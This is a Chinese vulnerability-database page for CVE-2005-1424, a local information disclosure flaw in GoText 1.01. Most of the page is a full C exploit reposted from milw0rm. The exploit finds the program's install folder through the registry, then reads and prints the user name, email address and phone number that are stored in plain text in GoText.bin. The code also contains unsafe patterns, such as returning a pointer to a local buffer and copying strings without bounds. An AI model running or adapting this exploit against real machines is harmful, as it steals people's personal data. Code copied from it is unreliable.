GoText本地信息泄露漏洞

GoText本地信息泄露漏洞

漏洞ID 1108727 漏洞类型 设计错误
发布时间 2005-04-28 更新时间 2005-10-20
图片[1]-GoText本地信息泄露漏洞-安全小百科CVE编号 CVE-2005-1424
图片[2]-GoText本地信息泄露漏洞-安全小百科CNNVD-ID CNNVD-200505-832
漏洞平台 Windows CVSS评分 2.1
|漏洞来源
https://www.exploit-db.com/exploits/963
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200505-832
|漏洞详情
StumbleInsideGoText1.01在GoText.bin文件中以纯文本形式存储敏感的用户名、邮件地址和电话号码信息,本地用户可以借此获取这些信息。
|漏洞EXP
/*******************************************************************

GoText 1.01 Local User Informations Disclosure Exploit by Kozan

Application: GoText 1.01
Vendor: StumbleInside Software - www.stumbleinside.com
Vulnerable Description: GoText 1.01 discloses user informations
to local users.


Discovered & Coded by: Kozan
Credits to ATmaCA
Web: www.netmagister.com
Web2: www.spyinstructors.com
Mail: [email protected]

*******************************************************************/

#include <stdio.h>
#include <string.h>
#include <windows.h>


HKEY hKey;
#define BUFSIZE 100
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;


int adresal(char *FilePath,char *Str)
{
char kr;
int Sayac=0;
int Offset=-1;
FILE *di;
di=fopen(FilePath,"rb");

if( di == NULL )
{
fclose(di);
return -1;
}

while(!feof(di))
{
Sayac++;
for(int i=0;i<strlen(Str);i++)
{
kr=getc(di);
if(kr != Str[i])
{
if( i>0 )
{
fseek(di,Sayac+1,SEEK_SET);
}
break;
}
if( i > ( strlen(Str)-2 ) )
{
Offset = ftell(di)-strlen(Str);
fclose(di);
return Offset;
}
}
}
fclose(di);
return -1;
}


char *oku(char *FilePath,char *Str)
{

FILE *di;
char cr;
int i=0;
char Feature[500];

int Offset = adresal(FilePath,Str);

if( Offset == -1 )
return "";

if( (di=fopen(FilePath,"rb")) == NULL )
return "";

fseek(di,Offset+strlen(Str),SEEK_SET);

while(!feof(di))
{
cr=getc(di);
if(cr == 0x0D)
break;
Feature[i] = cr;
i++;
}

Feature[i] = '';
fclose(di);
return Feature;
}


int main()
{
	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion",0,KEY_QUERY_VALUE,&hKey)
== ERROR_SUCCESS)
	{

		lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,(LPBYTE) prgfiles,
&dwBufLen);

		if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) )
		{
			RegCloseKey(hKey);
			printf("An error occured!n");
			exit(1);
		}

		RegCloseKey(hKey);

	}
	else
	{
		RegCloseKey(hKey);
		printf("An error occured!n");
		exit(1);
	}

	strcat(prgfiles,"\GoText\GoText.bin");

	printf("GoText 1.01 Local User Informations Disclosure Exploit by Kozann");
	printf("Credits to ATmaCAn");
	printf("www.netmagister.com - www.spyinstructors.com n");
	printf("[email protected] nn");

	char UserName[BUFSIZE], MailAddress[BUFSIZE], PhoneNumber[BUFSIZE];

	strcpy(UserName,oku(prgfiles,"MyName="));
	strcpy(MailAddress,oku(prgfiles,"MyEmail="));
	strcpy(PhoneNumber,oku(prgfiles,"MyNumber="));

	printf("User Name    : %sn",UserName);
	printf("Mail Address : %sn",MailAddress);
	printf("Phone Number : %sn",PhoneNumber);

	return 0;
}

// milw0rm.com [2005-04-28]
|参考资料

来源:XF
名称:gotext-user-information-disclosure(20315)
链接:http://xforce.iss.net/xforce/xfdb/20315
来源:BID
名称:13443
链接:http://www.securityfocus.com/bid/13443
来源:OSVDB
名称:14686
链接:http://www.osvdb.org/14686
来源:SECTRACK
名称:1013825
链接:http://securitytracker.com/id?1013825

相关推荐: IBM Hardware Management Console漏洞

IBM Hardware Management Console漏洞 漏洞ID 1199705 漏洞类型 未知 发布时间 2005-05-02 更新时间 2005-05-02 CVE编号 CVE-2005-0539 CNNVD-ID CNNVD-200505-0…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享